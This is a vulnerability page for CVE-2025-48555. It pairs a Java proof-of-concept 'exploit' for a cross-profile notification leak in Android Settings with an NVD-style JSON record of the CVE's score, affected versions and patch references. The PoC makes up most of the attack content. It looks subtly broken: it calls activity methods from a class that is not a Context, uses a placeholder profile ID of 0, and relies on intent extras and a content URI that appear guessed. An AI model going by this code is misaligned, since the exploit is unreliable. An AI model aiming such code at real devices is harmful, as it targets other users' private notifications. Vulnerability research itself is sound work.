CVE-2025-48555

// CVE-2025-48555 PoC - Cross-Profile Information Disclosure // This PoC demonstrates the confused deputy issue in NotificationStation.java // Note: Actual exploitation requires specific Android environment setup import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.app.NotificationManager; public class CVE_2025_48555_PoC { // Target component in Android Settings private static final String TARGET_PACKAGE = "com.android.settings"; private static final String TARGET_CLASS = "com.android.settings.notification.NotificationStation"; public void exploitCrossProfileLeak() { // Step 1: Prepare intent targeting NotificationStation Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_CLASS)); // Step 2: Exploit confused deputy by crafting cross-profile request // The vulnerable code fails to properly validate the calling profile Bundle extras = new Bundle(); extras.putString("request_type", "notification_list"); extras.putInt("target_profile_id", getWorkProfileId()); intent.putExtras(extras); // Step 3: Send intent without proper permission check // This should be blocked but vulnerable code allows it try { startActivity(intent); // If successful, notification data from other profile is exposed } catch (SecurityException e) { // Expected behavior - should be blocked } } private int getWorkProfileId() { // Obtain work profile ID through standard Android APIs return 0; } // Alternative: Direct content provider access if exposed public void exploitViaContentProvider() { android.net.Uri uri = android.net.Uri.parse( "content://com.android.settings.notification/notifications" ); // Query should be filtered by profile but vulnerable implementation leaks data android.database.Cursor cursor = getContentResolver().query( uri, null, null, null, null ); if (cursor != null) { while (cursor.moveToNext()) { // Extract leaked notification data from other profile String notificationData = cursor.getString(0); processLeakedData(notificationData); } cursor.close(); } } private void processLeakedData(String data) { // Process obtained sensitive notification information } }

{"cve": {"id": "CVE-2025-48555", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.543", "lastModified": "2025-12-09T21:43:05.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of NotificationStation.java, there is a possible cross-profile information disclosure due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/apps/Settings/+/596c7b9911f2004df83b8d2708ad4b50e8d53805", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}